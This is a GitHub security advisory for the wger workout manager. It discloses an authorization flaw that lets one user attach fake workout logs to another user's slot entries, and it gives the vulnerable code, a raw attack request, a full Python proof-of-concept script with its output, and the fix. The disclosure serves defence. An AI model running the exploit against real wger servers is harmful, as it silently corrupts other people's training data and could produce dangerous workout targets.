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wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry

Moderate severity GitHub Reviewed Published Oct 4, 2026 in wger-project/wger • Updated Oct 26, 2026

Package

pip wger (pip)

Affected versions

<= 2.1

Patched versions

None

Description

Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.get_owner_objects() returns:

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).

The second contributing factor is in SlotEntry.get_config_data():

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

  • Two authenticated user accounts (attacker and victim)
  • The attacker knows (or can enumerate) the victim's SlotEntry ID
  • The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json

{
    "routine": <attacker_routine_id>,
    "slot_entry": <victim_slot_entry_id>,
    "exercise": <any_valid_exercise_id>,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": "2025-01-15",
    "iteration": 1
}

Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}  <-- TARGET")


# ---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = api_headers(attacker_token)

r = requests.post(f"{API}/routine/", headers=ah, json={
    "name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f"    Attacker routine id={attacker_routine_id}")


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")

payload = {
    "routine": attacker_routine_id,
    "slot_entry": victim_slot_entry_id,
    "exercise": exercise_id,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": today,
    "iteration": 1,
}

print(f"\n  POST {API}/workoutlog/")
print(f"    routine    = {attacker_routine_id}  (attacker's own -> passes check)")
print(f"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!")
    print(f"    routine    = {d['routine']}  <- attacker's routine")
    print(f"    weight     = {d['weight']}")
    print(f"    reps       = {d['repetitions']}")
elif r.status_code == 403:
    print("  Access denied - NOT vulnerable (patched)")
    sys.exit(0)
else:
    print(f"  Unexpected: {r.text[:300]}")
    sys.exit(1)


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

r = requests.get(
    f"{API}/routine/{victim_routine_id}/date-sequence-display/",
    headers=vh,
)
print(f"\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f"  (as victim - this endpoint consumes the injected logs)")
print(f"  HTTP {r.status_code}")

if r.status_code == 200:
    seq = r.json()
    print(f"  Returned {len(seq)} day(s) of data")
    if seq:
        print(f"  First entry (truncated):")
        print(f"  {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f"  (The injected log is owned by attacker, so it does NOT appear")
print(f"   in victim's list view - but it IS attached to victim's SlotEntry")
print(f"   and WILL corrupt victim's progression calculations.)")

print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

Proof of Concept Output

=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[1] Authenticating users...
    Victim  (admin): token=7e34da0a3f3f00a4...
    Registering attacker account...
    Attacker (attacker_idor_poc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain...
    Routine   id=3
    Day       id=2
    Slot      id=2
    SlotEntry id=2  <-- TARGET

[3] Creating attacker's own routine...
    Attacker routine id=4

=================================================================
  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry
=================================================================

  POST http://localhost/api/v2/workoutlog/
    routine    = 4  (attacker's own -> passes check)
    slot_entry = 2  (VICTIM's -> NOT CHECKED)
    weight     = 999
    reps       = 999

  Response: HTTP 201
  Created WorkoutLog id=2
    slot_entry = 2  <- VICTIM's SlotEntry!
    routine    = 4  <- attacker's routine
    weight     = 999.00
    reps       = 999.00

=================================================================
  VERIFICATION
=================================================================

  GET /api/v2/routine/3/date-sequence-display/
  (as victim - this endpoint consumes the injected logs)
  HTTP 200
  Returned 31 day(s) of data

  Victim's own /api/v2/workoutlog/ shows 0 log(s)
  (The injected log is owned by attacker, so it does NOT appear
   in victim's list view - but it IS attached to victim's SlotEntry
   and WILL corrupt victim's progression calculations.)

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+

Impact

  1. Training Data Integrity: The progressive-overload engine (get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

  2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

  3. Scalable Attack: Because only a slot_entry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slot_entry to the ownership check

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

Defence-in-Depth - Filter logs by routine owner

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))

References

@rolandgeider rolandgeider published to wger-project/wger Oct 4, 2026
Published to the GitHub Advisory Database Oct 7, 2026
Reviewed Oct 7, 2026
Published by the National Vulnerability Database Oct 7, 2026
Last updated Oct 26, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-46438

GHSA ID

GHSA-rjpf-7pf5-q54x

Source code

Credits

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